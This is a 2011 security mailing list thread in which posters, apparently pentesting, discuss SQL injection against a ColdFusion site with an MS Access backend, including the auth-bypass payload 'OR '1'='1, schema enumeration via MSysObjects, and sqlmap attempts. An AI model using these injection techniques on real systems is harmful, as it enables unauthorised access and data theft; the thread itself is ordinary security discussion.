RE: Re : Exploiting MS Access with SQL Injections

[Ken Schaefer <Ken () adOpenStatic com>]

Apologies for replying to this very old thread:
Access does have system tables that can be queried to get the schema (e.g. MSysObjects). These are not displayed in the 
GUI by default, but this can be toggled via the Options menus (at least back to Access 97 - dunno for older versions).

The problem with attacking Access is that it doesn't allow additional queries to be appended, so everything has to be 
injected in-line with the current query. Additionally the JET SQL syntax is a bit different to ANSI syntax (e.g. 
JOINS). When you then have an additional layer you are going through (CF), you have challenges. Lastly, if the app 
layer is using parameters, then I think you've probably hit a dead end.

Cheers
Ken

-----Original Message-----
From: listbounce () securityfocus com [mailto:listbounce () securityfocus com] On Behalf Of Stealth
Sent: Sunday, 17 July 2011 2:55 PM
To: Sébastien Besson
Cc: security-basics () securityfocus com
Subject: Re: Re : Exploiting MS Access with SQL Injections

Thank you all for the replies with my MS Access problem.
It's much appreciated, I'll throw some more of your recommended tools at it and see where that goes. The tables that 
appeared in the error tracebacks seemed to have very random appearing names, at least ones that wouldn't be obviously 
guessable (or short), but I'll see if there is any more information I can pull out of it through some more bruteforcing.

Thanks again list ^.^


On Tue, 2011-07-12 at 08:10 +0100, Sébastien Besson wrote:
> Hello Stealth,
>
> I have been facing the same problem last week : pentesting on a 
> website which uses MS Access as its DB system.
> I have been able to enumerate the table structure (current table name 
> & table columns,).
> The SQLi was possible due to insufficient input validation for the 
> username parameter in a form.
> Auth bypass was possible with a simple 'OR '1'='1 , unfortunately (for
> me) the password parameter was still checked.
>
> One reading that was particulary helpful for me : "Access Through 
> Access" by Insomnia.
> It will gives you plenty of ideas !
>
> HTH
>
> 3nux
>
>
>
> ______________________________________________________________________
> De : Stealth <stealth.infared () gmail com> À : 
> security-basics () securityfocus com Envoyé le : Lun 11 juillet 2011, 23h 
> 01min 07s Objet : Exploiting MS Access with SQL Injections
>
> Alright, so I'm pentesting this box running Windows Server 2003 with 
> Microsoft Access as the backend database. It interfaces with this DB 
> via the ColdFusion that the app is programmed with (.cfm). The debug 
> error messages print out not just the SQL query, but with the 
> surrounding CFM code as well as a stack trace, and there are SQL 
> injections riddled all throughout the site.
>
> I've never played with MS Access, but I figured this would be 
> ridiculously simple. I quickly figured out that it doesn't allow SQL 
> code to be executed after the end of a statement ";", which took out a 
> lot of exploits. So I decided to poke around some more, possibly map 
> out the tables/db's, however almost all of the techniques I knew 
> failed with strange Syntax errors I wasn't familiar with. Various 
> attempts at researching possible techniques for MS Access resulted in 
> the server acting far differently than I was expecting.
>
> I looked into this for a solid 3 hours before deciding to try and see 
> if I could find assistance with various DB-exploit programs. I pulled 
> out Sqlmap, and it successfully registered the exploit as a valid 
> injection.
> But as soon as I try to pass any flags for pulling information to 
> Sqlmap, I get various forms of "This doesn't work with Microsoft 
> Access". The only thing I can get SQLmap to do without crashing is 
> return the database fingerprint, which I obviously already knew. I'm 
> thinking this isn't limitations of the program, but that these 
> techniques just don't work on MS Access.
>
> Anyone have any ideas for how I can progress this exploit? The coder 
> obviously didn't account for SQL Injection, but I'm thinking there 
> isn't anything I can really do here. If anyone has any material to 
> read/techniques to try, I'd be grateful.
>
> Thanks guys